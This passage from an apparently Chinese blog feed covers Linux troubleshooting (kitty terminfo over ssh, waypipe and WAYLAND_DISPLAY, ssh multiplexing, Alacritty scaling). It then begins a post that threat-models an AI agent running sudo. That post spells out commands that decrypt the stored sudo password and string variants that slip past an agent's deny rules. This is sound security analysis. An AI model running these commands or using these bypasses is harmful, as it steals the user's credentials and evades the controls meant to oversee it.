&lt;p&gt;&lt;strong&gt;本次最终取舍&lt;&#x2F;strong&gt;：全局恢复 1.5（桌面文字大更好读），Alacritty 保持 &lt;code&gt;WINIT_X11_SCALE_FACTOR=1.0&lt;&#x2F;code&gt; 单独压掉——两套方案叠加，互不冲突。改全局到 1.0 实测发现桌面文字偏小，又改回了 1.5。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;关掉全局文本缩放&lt;&#x2F;strong&gt;（影响所有 GTK 应用，如标题栏、菜单）：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.interface text-scaling-factor 1.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果调 1.5 只是为了可读性，可以改用系统字体大小替代（如 &lt;code&gt;font-name &#x27;Ubuntu Sans 12&#x27;&lt;&#x2F;code&gt;），两者效果不同但都能放大界面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiao-jie&quot;&gt;小结&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;th&gt;影响&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;text-scaling-factor&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1.5（全局）&lt;&#x2F;td&gt;&lt;td&gt;GTK 应用文本放大；同步 Xft.dpi=144&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Xft.dpi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;144&lt;&#x2F;td&gt;&lt;td&gt;X11 应用（含 XWayland）按 1.5 缩放&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;WINIT_X11_SCALE_FACTOR&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1.0&lt;&#x2F;td&gt;&lt;td&gt;仅覆盖 Alacritty 的 X11 scale factor&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;wen-ti-san-kitty-ssh-hou-mei-ci-an-jian-chu-xian-da-liang-zhong-fu-zi-fu&quot;&gt;问题三：kitty ssh 后每次按键出现大量重复字符&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;xian-xiang-2&quot;&gt;现象&lt;&#x2F;h3&gt;
&lt;p&gt;kitty 终端本地开 zsh 一切正常；&lt;code&gt;ssh dev&lt;&#x2F;code&gt; 到远程服务器后，每次键盘输入都出现很多字符（重复&#x2F;乱画），几乎没法用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pai-cha-guo-cheng-1&quot;&gt;排查过程&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;先排除远端 shell 配置&lt;&#x2F;strong&gt;：用 rmux（tmux 类复用器）连 dev，&lt;code&gt;TERM=tmux-256color&lt;&#x2F;code&gt; 时输入完全正常 → 远端 zsh&#x2F;oh-my-zsh 配置本身没问题&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;模拟 kitty 场景&lt;&#x2F;strong&gt;：&lt;code&gt;TERM=xterm-kitty ssh dev&lt;&#x2F;code&gt; 复现问题——发送 1 个字符显示 2 个，命令被双重渲染（如 &lt;code&gt;zsh -fzsh -f&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;找到报错&lt;&#x2F;strong&gt;：远端运行 &lt;code&gt;zsh -f&lt;&#x2F;code&gt; 报 &lt;code&gt;zsh: can&#x27;t find terminal definition for xterm-kitty&lt;&#x2F;code&gt;；&lt;code&gt;dpkg -S xterm-kitty&lt;&#x2F;code&gt; 显示无任何包拥有该 terminfo&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;根因&lt;&#x2F;strong&gt;：kitty 连接时把本地 &lt;code&gt;TERM=xterm-kitty&lt;&#x2F;code&gt; 传给远端（sshd 按客户端请求设置 pty TERM），但远端没有 xterm-kitty 的 terminfo 定义。zsh 5.9 的 zle 行编辑器找不到终端定义，光标定位&#x2F;行重绘全部退化 → 每次按键重复字符、画面混乱&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;排查陷阱：远端装了 zsh-autosuggestions，它的补全建议会渲染在当前行后面（如输入 &lt;code&gt;l&lt;&#x2F;code&gt; 显示 &lt;code&gt;lls&lt;&#x2F;code&gt;，其中 &lt;code&gt;s&lt;&#x2F;code&gt; 是建议），capture-pane 会连建议一起抓走，容易误判成&quot;按键重复&quot;。建议用原始字节流（&lt;code&gt;cat -A&lt;&#x2F;code&gt;）对比。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;jie-jue-fang-an-2&quot;&gt;解决方案&lt;&#x2F;h3&gt;
&lt;p&gt;在远端安装 xterm-kitty terminfo（本地 kitty 自带，&lt;code&gt;infocmp&lt;&#x2F;code&gt; 导出后远端 &lt;code&gt;tic&lt;&#x2F;code&gt; 导入）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;infocmp xterm-kitty | ssh dev &amp;#x27;tic -x -&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;code&gt;ssh dev &#x27;infocmp xterm-kitty&#x27;&lt;&#x2F;code&gt; 有输出即成功。之后输入、退格、方向键、自动补全全部恢复正常。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-an-dui-bi-yu-gu-hua&quot;&gt;方案对比与固化&lt;&#x2F;h3&gt;
&lt;p&gt;三个层次，按推荐度：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;服务器要求&lt;&#x2F;th&gt;&lt;th&gt;保留能力&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;kitten ssh&lt;&#x2F;code&gt;（推荐，已固化）&lt;&#x2F;td&gt;&lt;td&gt;零配置，首次连接自动装 terminfo（~&#x2F;.terminfo，无需 root）&lt;&#x2F;td&gt;&lt;td&gt;图形协议&#x2F;键盘协议&#x2F;真彩全保留&lt;&#x2F;td&gt;&lt;td&gt;本地需装 kitty；连接复用、shell integration&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;TERM=xterm-256color ssh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;零（几乎每台机器都有）&lt;&#x2F;td&gt;&lt;td&gt;损失 ssh 图片预览、歧义键区分，真彩降级&lt;&#x2F;td&gt;&lt;td&gt;不想在服务器留任何东西时用；打字&#x2F;编辑&#x2F;vi&#x2F;tmux 完全兼容&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;infocmp xterm-kitty | ssh HOST &#x27;tic -x -&#x27;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;一次性装到 ~&#x2F;.terminfo&lt;&#x2F;td&gt;&lt;td&gt;全保留&lt;&#x2F;td&gt;&lt;td&gt;备用&#x2F;批量脚本&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;已固化到 dotfiles 仓库 &lt;code&gt;~&#x2F;.my_profile.kitty&lt;&#x2F;code&gt;（ssh 包装）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;zsh&quot; class=&quot;language-zsh &quot;&gt;&lt;code class=&quot;language-zsh&quot; data-lang=&quot;zsh&quot;&gt;# 仅&amp;quot;本地有 kitten 且进程确实在 kitty 窗口内(KITTY_PID + KITTY_WINDOW_ID 缺一不可)&amp;quot;才走 kitten ssh, 否则回退普通 ssh
ssh() {
    if command -v kitten &amp;gt;&amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1 \
        &amp;amp;&amp;amp; [[ -n &amp;quot;${KITTY_PID:-}&amp;quot; &amp;amp;&amp;amp; -n &amp;quot;${KITTY_WINDOW_ID:-}&amp;quot; ]]; then
        command kitten ssh &amp;quot;$@&amp;quot;
    else
        command ssh &amp;quot;$@&amp;quot;
    fi
}
# 备用手动补装: kitty-terminfo &amp;lt;host&amp;gt;; 装依赖: bash dotfiles&amp;#x2F;run.sh install_kitty [host]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;实测细节：kitten ssh 要求&quot;进程确实在 kitty 窗口内&quot;——启动器校验 &lt;code&gt;KITTY_PID&lt;&#x2F;code&gt; + &lt;code&gt;KITTY_WINDOW_ID&lt;&#x2F;code&gt; 两个环境变量（缺一即拒绝：&quot;The SSH kitten is meant to run inside a kitty window&quot;），单纯把 TERM 伪装成 xterm-kitty 没用。所以包装必须查这两个变量，tmux 内、其他终端、远端（没装 kitty）自动回退普通 ssh，保证 ssh 永不被包装搞挂。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;顺带：服务器不需要装 kitty 也能 ssh 图片预览——只需轻量工具（&lt;code&gt;chafa --format=kitty img&lt;&#x2F;code&gt; 或 &lt;code&gt;viu -k img&lt;&#x2F;code&gt;，apt 安装），渲染由本地 kitty 完成；&lt;code&gt;bash dotfiles&#x2F;run.sh install_kitty &amp;lt;host&amp;gt;&lt;&#x2F;code&gt; 可一键给远端装 chafa&#x2F;viu&#x2F;timg。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-si-waypipe-ssh-hou-mei-you-wayland-display&quot;&gt;问题四：waypipe ssh 后没有 WAYLAND_DISPLAY&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;xian-xiang-3&quot;&gt;现象&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe ssh -tY -o controlpath=none dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;连上后 &lt;code&gt;echo $WAYLAND_DISPLAY&lt;&#x2F;code&gt; 为空，而 &lt;code&gt;echo $DISPLAY&lt;&#x2F;code&gt; 正常（&lt;code&gt;localhost:10.0&lt;&#x2F;code&gt;，ssh -Y 的 X11 转发）。运行 Wayland 客户端 &lt;code&gt;weston-dnd&lt;&#x2F;code&gt; 报：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;could not load cursor &amp;#x27;dnd-copy&amp;#x27;
could not load cursor &amp;#x27;dnd-none&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;窗口也没有出现在 host 端。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pai-cha-guo-cheng-2&quot;&gt;排查过程&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;waypipe 的代理 socket 确实建了&lt;&#x2F;strong&gt;：dev 的 &lt;code&gt;&#x2F;run&#x2F;user&#x2F;1000&#x2F;&lt;&#x2F;code&gt; 下能看到一串 &lt;code&gt;wayland-1ET0R84N&lt;&#x2F;code&gt;、&lt;code&gt;wayland-BSpfNUZh&lt;&#x2F;code&gt; 之类的 socket（&lt;code&gt;wayland-&amp;lt;随机后缀&amp;gt;&lt;&#x2F;code&gt; 是 waypipe 的命名规则，时间戳对得上本次会话）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;环境变量被 zshrc 清掉了&lt;&#x2F;strong&gt;：&lt;code&gt;~&#x2F;.my_zshrc&lt;&#x2F;code&gt; 里有一段（之前为修 gpg pinentry 问题加的）：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;zsh&quot; class=&quot;language-zsh &quot;&gt;&lt;code class=&quot;language-zsh&quot; data-lang=&quot;zsh&quot;&gt;# XDG_SESSION_TYPE=tty（SSH 会话就是这个值）时直接清掉 WAYLAND_DISPLAY
if [ &amp;quot;${XDG_SESSION_TYPE:-}&amp;quot; = &amp;quot;tty&amp;quot; ]; then
  unset WAYLAND_DISPLAY 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;SSH 分配的 pty 会话 &lt;code&gt;XDG_SESSION_TYPE&lt;&#x2F;code&gt; 为 &lt;code&gt;tty&lt;&#x2F;code&gt;，waypipe 给会话设置的 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; 被登录 shell 启动时直接 unset
3. &lt;strong&gt;weston-dnd 连不上任何合成器&lt;&#x2F;strong&gt;：&lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; 为空 → &lt;code&gt;wl_display_connect()&lt;&#x2F;code&gt; 失败 → 窗口根本没创建（哪里都没显示），&lt;code&gt;could not load cursor&lt;&#x2F;code&gt; 是连接失败阶段报的连带错误，随后进程挂起等 Ctrl+C&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原 unset 块的来历：tmux server 会继承旧会话的 WAYLAND_DISPLAY（孤儿 socket），残留值让 pinentry-gnome3 误判&quot;有 GUI&quot;而跳过 curses 回退 → SSH 下 gpg 弹窗不出来、干等超时（&quot;agent refused operation&quot;）。相关背景见 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;gpg&#x2F;&quot;&gt;GPG 使用指南&lt;&#x2F;a&gt; 的 pinentry 部分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;jie-jue-fang-an-3&quot;&gt;解决方案&lt;&#x2F;h3&gt;
&lt;p&gt;只清掉指向&lt;strong&gt;不存在 socket&lt;&#x2F;strong&gt; 的残留值，waypipe 创建的真实 socket 予以保留：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;zsh&quot; class=&quot;language-zsh &quot;&gt;&lt;code class=&quot;language-zsh&quot; data-lang=&quot;zsh&quot;&gt;if [ &amp;quot;${XDG_SESSION_TYPE:-}&amp;quot; = &amp;quot;tty&amp;quot; ]; then
  if [ -n &amp;quot;${WAYLAND_DISPLAY:-}&amp;quot; ] &amp;amp;&amp;amp; { [ -S &amp;quot;${XDG_RUNTIME_DIR}&amp;#x2F;${WAYLAND_DISPLAY}&amp;quot; ] || [ -S &amp;quot;${WAYLAND_DISPLAY}&amp;quot; ] || [ -S &amp;quot;&amp;#x2F;tmp&amp;#x2F;${WAYLAND_DISPLAY}&amp;quot; ]; }; then
    :
  else
    unset WAYLAND_DISPLAY 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
  fi
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（存在多个机器共用 &lt;code&gt;~&#x2F;.my_zshrc&lt;&#x2F;code&gt; 的情况，本地与远端同步修改，我这边是符号链接到 dotfiles 仓库，改一处即可。）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;waypipe 真实 socket（&lt;code&gt;wayland-1ET0R84N&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;保留（KEPT）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;不存在的残留值&lt;&#x2F;td&gt;&lt;td&gt;unset（原 pinentry 修复仍生效）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;空值&lt;&#x2F;td&gt;&lt;td&gt;unset（无副作用）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;之后 &lt;code&gt;waypipe ssh -tY -o controlpath=none dev&lt;&#x2F;code&gt; 再跑 &lt;code&gt;weston-dnd&lt;&#x2F;code&gt;，窗口正常显示在 host 端。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-wu-waypipe-ssh-luan-ma-ssh-mux-fu-yong-chong-tu&quot;&gt;问题五：waypipe ssh 乱码——ssh mux 复用冲突&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;xian-xiang-4&quot;&gt;现象&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;waypipe ssh -tY douhao&lt;&#x2F;code&gt; 连上后终端输出乱码；同一命令对 dev（命令里带 &lt;code&gt;-o controlpath=none&lt;&#x2F;code&gt;）正常。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pai-cha-guo-cheng-3&quot;&gt;排查过程&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;远端配置全好&lt;&#x2F;strong&gt;：douhao 的 &lt;code&gt;.my_zshrc&lt;&#x2F;code&gt; 已是新版（socket 存在性判断）、xterm-kitty terminfo 已装、locale 正常 → 排除配置类原因&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;怀疑 ssh 复用连接&lt;&#x2F;strong&gt;：本地 ssh config 是 &lt;code&gt;ControlMaster auto&lt;&#x2F;code&gt; + &lt;code&gt;ControlPersist 1h&lt;&#x2F;code&gt;，而 douhao 恰好有一条一个多小时前建立、一直活着的 mux master&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;waypipe 内部直接 exec 系统 ssh&lt;&#x2F;strong&gt;（strace 实证：PATH 里不存在自定义 ssh，最终落到 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;ssh&lt;&#x2F;code&gt;），构造的命令是 &lt;code&gt;ssh -R &#x2F;tmp&#x2F;waypipe-server-XXX.sock ... douhao waypipe server ...&lt;&#x2F;code&gt;，&lt;strong&gt;不传任何 control 参数&lt;&#x2F;strong&gt; → 走 config 的 ControlMaster auto → 复用别人建的老 master，把 waypipe 的 &lt;code&gt;-R&lt;&#x2F;code&gt; 转发和 X11 附加到既有会话的通道上 → 通道状态不可靠 → 乱码&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ssh -O exit douhao&lt;&#x2F;code&gt; 清掉旧 master 后再跑 waypipe，恢复正常&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jie-jue&quot;&gt;解决&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;立即：&lt;code&gt;ssh -O exit &amp;lt;host&amp;gt;&lt;&#x2F;code&gt; 清掉残留 master&lt;&#x2F;li&gt;
&lt;li&gt;稳妥：waypipe ssh 固定加 &lt;code&gt;-o controlpath=none&lt;&#x2F;code&gt;（独占连接，waypipe 官方 issue 里 ControlMaster 冲突是已知问题）&lt;&#x2F;li&gt;
&lt;li&gt;持久：ssh config 对 waypipe 目标主机关 mux（&lt;code&gt;Host douhao dev&lt;&#x2F;code&gt; 段加 &lt;code&gt;ControlMaster no&lt;&#x2F;code&gt;）——局域网主机 mux 收益≈0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;zhu-yi&quot;&gt;注意&lt;&#x2F;h3&gt;
&lt;p&gt;shell 函数&#x2F;别名（如问题三的 ssh 包装）只拦截交互输入的命令，&lt;strong&gt;管不到 waypipe&#x2F;git&#x2F;scp 等程序内部对系统 ssh 的调用&lt;&#x2F;strong&gt;；这类工具的 ssh 行为只能通过 ssh config（或它们自己的参数）控制。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;尝试&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;th&gt;原因&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;升级到 0.17.0&lt;&#x2F;td&gt;&lt;td&gt;无效&lt;&#x2F;td&gt;&lt;td&gt;功能缺失，winit Wayland DnD 2026-07 才合入、未发布&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;WINIT_UNIX_BACKEND=x11&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无效&lt;&#x2F;td&gt;&lt;td&gt;winit 0.29 起已移除该变量&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;env -u WAYLAND_DISPLAY&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;有效&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;winit 检测不到 Wayland 后 fallback 到 X11&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;四个坑点留个备忘：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wayland 下 Alacritty 拖放无解&lt;&#x2F;strong&gt;：等 winit 发版 + Alacritty 适配（issue #4010 追踪中），之前别折腾配置&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WINIT_UNIX_BACKEND&lt;&#x2F;code&gt; 是废弃变量&lt;&#x2F;strong&gt;：现代 winit（≥0.29）不认，别信旧教程；强制后端用 &lt;code&gt;env -u WAYLAND_DISPLAY&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;用户级 desktop 文件覆盖系统级&lt;&#x2F;strong&gt;：改名相同即可，&lt;code&gt;update-desktop-database&lt;&#x2F;code&gt; 不用手动跑&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;X11 应用的&quot;字体莫名变大&quot;先查 &lt;code&gt;text-scaling-factor&lt;&#x2F;code&gt; 与 &lt;code&gt;Xft.dpi&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：GNOME 全局文本缩放会通过 Xft.dpi 传导到 X11 应用，Wayland 应用不受影响，所以只会在 XWayland 场景暴露&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;代价是 Alacritty 窗口以 XWayland 模式运行（GNOME 下 100% 缩放下无感知差异；高 DPI 缩放下 X11 窗口会模糊，介意的话等上游修复后再切回）。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>让 agent 执行 sudo 的公钥认证：pam_ssh_agent_auth + 确认门</title>
        <published>2026-08-11T10:23:55+08:00</published>
        <updated>2026-08-11T10:23:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/sudo-pam-ssh-agent-auth-confirm-gate/"/>
        <id>https://vercel.juzhong.asia/2026/08/sudo-pam-ssh-agent-auth-confirm-gate/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/sudo-pam-ssh-agent-auth-confirm-gate/">&lt;h1 id=&quot;xu-qiu-bei-jing&quot;&gt;需求背景&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;sudo-pam-ssh-agent-auth-confirm-gate&#x2F;2026&#x2F;08&#x2F;sudo-askpass-pass-and-gpg-agent&quot;&gt;上一篇文章&lt;&#x2F;a&gt; 用 &lt;code&gt;sudo -A&lt;&#x2F;code&gt; + askpass(pass + gpg-agent + yad)让 agent 执行 sudo 时弹窗授权:回车=允许、Esc=取消、免打字。这套方案解决了&quot;未经同意静默 sudo&quot;的问题,但有一个结构性残余风险:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;任何人(或任何进程、任何 agent)只要绕过限制,执行 &lt;code&gt;pass show sudo&lt;&#x2F;code&gt;,就能拿到我的口令。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文讨论这个风险到底有多真实、sudo 能否改用公钥体系认证(像 SSH 用 gpg-agent 里的带口令密钥认证那样),并最终给出一个可行的落地配置。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jiu-fang-an-de-can-yu-feng-xian&quot;&gt;旧方案的残余风险&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;feng-xian-de-zhen-shi-bian-jie&quot;&gt;风险的真实边界&lt;&#x2F;h2&gt;
&lt;p&gt;先纠正一个常见误解:&lt;strong&gt;gpg-agent 缓存的不是 sudo 密码,而是 GPG 私钥的 passphrase&lt;&#x2F;strong&gt;。sudo 密码以密文形式躺在 &lt;code&gt;~&#x2F;.password-store&#x2F;sudo.gpg&lt;&#x2F;code&gt; 里,askpass 每次调用时临时解密一次,明文只短暂存在于 helper 的 stdout→sudo 管道中,不进上下文、不落盘。&lt;&#x2F;p&gt;
&lt;p&gt;但&quot;泄露&quot;的现实前提没那么难:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;窗口期&lt;&#x2F;strong&gt;:gpg-agent 配置了 &lt;code&gt;default-cache-ttl 86400&lt;&#x2F;code&gt;(1 天),私钥解锁状态下,任何进程一条 &lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 就静默解出明文,不弹任何提示。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;deny 规则只保护 opencode 一个 agent&lt;&#x2F;strong&gt;:&lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;opencode.jsonc&lt;&#x2F;code&gt; 里的 deny 规则管的是 opencode 自己的工具调用。换一个 agent(Claude Code、Cursor、任何有 shell 的脚本)规则完全不存在。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;字符串匹配本身有缝&lt;&#x2F;strong&gt;:&lt;code&gt;printf &#x27;pass show sudo&#x27; | bash&lt;&#x2F;code&gt;、&lt;code&gt;gpg --output - --decrypt ~&#x2F;.password-store&#x2F;sudo.gpg&lt;&#x2F;code&gt; 这类变体可能不命中。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以&quot;密码在磁盘上、且能被程序恢复出来&quot;是真实存在的性质。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-gou-xing-shi-shi-tong-yi-ge-yong-hu-tong-yi-quan-xian&quot;&gt;结构性事实:同一个用户 = 同一权限&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 能拿明文,是因为 gpg-agent 里私钥已解锁,&lt;strong&gt;任何以你身份运行的进程都能静默解密&lt;&#x2F;strong&gt;。你没法造一个&quot;我的合法 agent 能读、恶意进程不能读&quot;的秘密——它们在同一个用户下权限相同。规则、守卫只能抬高门槛,抬不掉&quot;明文可提取&quot;这个性质。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liang-ge-wei-xie-yao-fen-kai&quot;&gt;两个威胁要分开&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;威胁&lt;&#x2F;th&gt;&lt;th&gt;对话框门防不防&lt;&#x2F;th&gt;&lt;th&gt;根子&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;agent 未经你同意静默 sudo&lt;&#x2F;td&gt;&lt;td&gt;✅ 防(Enter&#x2F;Esc)&lt;&#x2F;td&gt;&lt;td&gt;这是门存在的意义&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;恶意进程偷走可复用密码&lt;&#x2F;td&gt;&lt;td&gt;❌ 不防&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;密码本身可被提取&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;对话框门解决的是第一类;第二类唯一的解是&lt;strong&gt;让密码根本不存在&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sudo-you-mei-you-gong-yao-ren-zheng&quot;&gt;sudo 有没有公钥认证?&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;没有。&lt;&#x2F;strong&gt; sudo 的认证因子就是账户密码(PAM 密码认证),协议层没有像 SSH 那样的签名交换。要消除&quot;账户密码&quot;这个秘密,只能靠 PAM 模块把认证因子换成别的,主要是两条路:&lt;&#x2F;p&gt;
